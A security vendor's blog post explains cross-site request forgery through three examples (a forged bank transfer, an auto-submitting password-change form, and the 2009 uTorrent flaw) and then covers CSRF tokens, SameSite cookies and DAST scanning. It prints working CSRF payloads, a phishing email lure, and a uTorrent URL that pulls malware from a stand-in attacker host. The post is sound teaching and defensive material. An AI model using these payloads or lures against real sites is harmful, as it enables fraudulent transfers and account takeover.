Product
Product overview

See how dev-centric DAST for the enterprise secures your business.

Web attacks

Continuous security testing for web applications at high-scale.

API attacks

Safeguard your APIs no matter how often you deploy.

Business logic attacks

Future-proof your security testing with green-flow exploitation testing.

LLM attacks

Next-gen security testing for LLM & Gen AI powered applications and add-ons.

Interfaces & extensions

Security testing throughout the SDLC - in your team’s native stack.

Integrations

Connecting your security stack & resolution processes seamlessly.

Docs

Getting started with Bright and implementing it in your enterprise stack.

Book a demo

We’ll show you how Bright’s DAST can secure your security posture.

Resources
Blog

Check out or insights & deep dives into the world of security testing.

Webinars & events

Upcoming & on-demand events and webinars from security experts.

Docs

Getting started with Bright and implementing it in your enterprise stack.

Case studies

Dive into DAST success stories from Bright customers.

Research

Download whitepapers & research on hot topics in the security field.

Company
About us

Who we are, where we came from, and our Bright vision for the future.

News

Bright news hot off the press.

Webinars & events

Upcoming & on-demand events and webinars from security experts.

We're hiring

Want to join the Bright team? See our open possitions.

Bug bounty

Found a security issue or vulnerability we should hear about? Let us know!

Contact us

Need some help getting started? Looking to collaborate? Talk to us.

Resources > Blog >
3 Simple CSRF Examples: Understand CSRF Once and For All

3 Simple CSRF Examples: Understand CSRF Once and For All

Admir Dizdar

What is CSRF (Cross Site Request Forgery)?

Cross-site request forgery (CSRF) is a technique that enables attackers to impersonate a legitimate, trusted user. CSRF attacks can be used to change firewall settings, post malicious data to forums, or conduct fraudulent transactions. In many cases, affected users and website owners are unaware that an attack occurred, and become aware of it only after the damage is done and recovery is not possible.

CSRF attacks exploit a mechanism that makes the sign-in process more convenient. Browsers often automatically include credentials in the request when a user tries to access a site. These credentials can include the user’s session cookies, basic authentication credentials, IP address, and Windows domain credentials.

If there is no protection against CSRF attacks, it can be easy for an attacker to hijack the session and impersonate the user. Once a user is authenticated on the site, the site cannot differentiate between a legitimate user request and a fake request sent by the attacker.

In this article:

CSRF Attack Examples

1. Bank Transfer Using GET or POST

Consider a user who wants to transfer an amount of $5,000 to a family member via the web application of Acme Bank, which has a CSRF vulnerability. An attacker identifies this vulnerability and wants to intercept this transaction so that the funds are transferred to their bank account instead of to the intended recipient.

The attacker can construct two types of URLs to perform the illicit funds transfer, depending on whether the application was designed using GET or POST requests.

Forged GET request

The original request would look like something like this, transferring the amount to account #344344:

GET http://acmebank.com/fundtransfer?acct=344344&amount=5000 HTTP/1.1

The attacker’s forged request might look like this. The attacker changes the account number to their own account (#224224 in this example) and increases the transfer amount to $50,000:

http://acmebank.com/fundtransfer?acct=224224&amount=50000

Now the attacker needs to trick the victim into visiting this forged URL while signed into the banking application. The attacker might draft an email like this:

To: Victim
Subject: A gift of flowers for you!

Hello victim,
We know your birthday is coming up and have a special gift for you. Just click here to receive it!

The link “click here” would lead to the forged URL shown above.

Alternatively, the attacker could display a pixel within the email that fires and activates the URL if the victim enables viewing images in their email client. This is more dangerous because it requires no direct user action:

<img src="http://acmebank.com/fundtransfer?acct=224224&amount=500000" width="0" height="0" border="0">

Forged POST request

If the banking application uses POST requests, the user’s original operation would look like this:

POST http://acmebank.com/fundtransfer HTTP/1.1
acct=344344&amount=5000

In this case, the attacker would need to craft a <form> element with the forged request: 

<form action="http://acmebank.com/fundtransfer" method="POST">
<input type="hidden" name="acct" value="224224"/>
<input type="hidden" name="amount" value="50000"/>
<input type="submit" value="Click to get your free gift!"/>
</form>

When the user submits the form, believing they will receive a gift, the post request is executed and, if the user is currently signed into the application, the illicit transfer is carried out.

2. Changing Password with Self-Submitting Form

Consider a vulnerable application that allows users to change their password via a POST request. The original form looks like this:

<form id="changepass" method="POST" action="http://acmebank.com/password.php">
<input type="text" name="password" value="p@ssw0rD">

<input type="submit" value="Change my password"/>
<form>

The attacker can create a copy of this form, changing the password to one known by the attacker (123 in this example):

<form id="changepass" method="POST" action="http://acmebank.com/password.php">
    <input type="text" name="password" value="123">
<form>
<script>
    document.getElementById('changepass').submit();
</script>

Unlike the original form, the attacker’s version does not have a submit button, and has a script that automatically submits the form as soon as the user loads the HTML.

The attacker hosts this form on a malicious website. To trick users, they can use a domain name similar to the bank’s one, like this: 

https://acme-bank.biz/password.html

The attacker needs to trick the victim into visiting the above URL—for example by sending an email that is supposedly from the bank. When a victim visits the URL, the following HTTP POST is generated:

POST /password.php HTTP/1.1
Host: acmebank.com
Origin: http://acme-bank.biz
Referer: https://acme-bank.biz/password.html
Cookie: SESSION=d33567b639c534e664
Content-Type: application/x-www-form-urlencoded
password=123

In this forged POST request, the Host is the vulnerable application, acmebank.com, but the Origin and Referer indicate the request is really coming from the attacker’s malicious site, acme-bank.biz. We are assuming the user previously signed into the banking application so the Cookie field retains their valid session ID. 

This vulnerable application will authenticate the request based on the recognized session ID, and accept the form contents, changing the password to the attacker’s desired string.

3. Real-Life uTorrent Attack: Deploying Malware via Forged GET Request

The uTorrent vulnerability discovered in 2009 (CVE-2008-6586) was a real-life, large-scale CSRF attack. The uTorrent software had a vulnerability that allowed its web console to be accessible at localhost:8080, allowing attackers to perform sensitive actions with a simple GET request.

uTorrent built its web interface in such a way that GET requests enabled state-changing operations. According to the HTTP/1.1 standard (RFC 2616), GET and HEAD methods should never be state changing, and should only be used to allow clients to retrieve data.

Attackers discovered two exploitable URLs that could allow them to deploy malware to a victim’s device. This URL forced a torrent file download:

http://localhost:8080/gui/?action=add-url&s=http://attacker-site.com/malware

This URL changed the administrator password of the uTorrent software:

http://localhost:8080/gui/?action=setsetting&s=webui.password&v=newpassword

The attackers added HTML elements with automatic action triggered by JavaScript on multiple Internet forums, and also sent spam emails with these elements to a large distribution list. Anyone who had the uTorrent application while visiting the forum page or opening the email was hit by the attack. The attack enabled the attackers to deploy malware on a large number of client devices.

Related content: See more real-life attack examples in our guide to CSRF attacks

Preventing CSRF Attacks

Implementing CSRF Tokens

Organizations can easily block most CSRF attacks using CSRF tokens. These are unique challenge tokens that can be added to sensitive user requests, such as making a purchase, transferring funds, or creating an admin account on the website backend. Developers can add a CSRF token to every state change request and properly validate these tokens when processing the request, to ensure that the authenticated user sent the request legitimately.

Whenever the server renders a page with a sensitive operation, a unique CSRF token is passed to the user. For this to work properly, the server must perform the requested operation only when the token is fully validated and reject all requests for invalid or missing tokens. However, a common mistake when implementing CSRF is to reject requests with invalid tokens, but continue accepting requests with missing tokens. This makes the CSRF token ineffective.

Related content: Read our guide to CSRF tokens

Checking for CSRF Vulnerabilities

To check for a CSRF vulnerability, look for a form where users can submit a request and verify that the anti-CSRF token was generated correctly. Most modern web frameworks include an anti-CSRF token on every form page and can be configured globally to handle validation transparently. 

Whenever a user can submit a request that changes system state, the request must be protected with a CSRF token. If the form is not intended to allow users to make stateful changes, developers must limit its scope to prevent abuse by attackers.

Combining CSRF Tokens with Other Protections

CSRF tokens can also be used with other protective techniques, such as: 

  • Setting session cookies using the SameSite cookie attribute. This property instructs the browser to control whether cookies are sent with requests from third-party domains. 
  • Adding the HttpOnly property to avoid some types of cross-site scripting (XSS) flaws. Preventing XSS vulnerabilities can also make it more difficult to conduct CSRF attacks.

Conduct Regular Web Application Security Tests to Identify CSRF

Even if vulnerabilities in web applications with CSRF attacks are successfully addressed, application updates and code changes may expose your application to CSRF in the future. Dynamic Application Security Testing (DAST) helps you continuously scan and test for potential security weaknesses in web applications, including CSRF vulnerabilities.

Bright Security is a next-generation DAST solution that helps automate the detection and remediation of many vulnerabilities, including CSRF, early in the development process.

By shifting DAST scans left, and integrating them into the SDLC, developers and application security professionals can detect vulnerabilities early, and remediate them before they appear in production. Bright Security completes scans in minutes and achieves zero false positives, by automatically validating every vulnerability. This allows developers to adopt the solution and use it throughout the development lifecycle. 

Resources

DORA: Exploring The Path to Financial Institutions’ Resilience

DORA (Digital Operational Resilience Act) is the latest addition to the EU regulatory arsenal. A framework designed to bolster the cyber resilience of financial entities operating within the EU. But let’s face it: there’s no lack of regulations issued by the European Union legislature, and they’re not exactly known for keeping things light and easy.

IASTless IAST – The SAST to DAST Bridge

Streamline appsec with IASTless IAST. Simplify deployment, enhance accuracy, and boost your security posture by combining SAST and Bright’s DAST.

Bringing DAST security to AI-generated code

AI-generated code is basically the holy grail of developer tools of this decade. Think back to just over two years ago; every third article discussed how there weren’t enough engineers to answer demand; some companies even offered coding training for candidates wanting to make a career change. The demand for software and hardware innovation was

Get our newsletter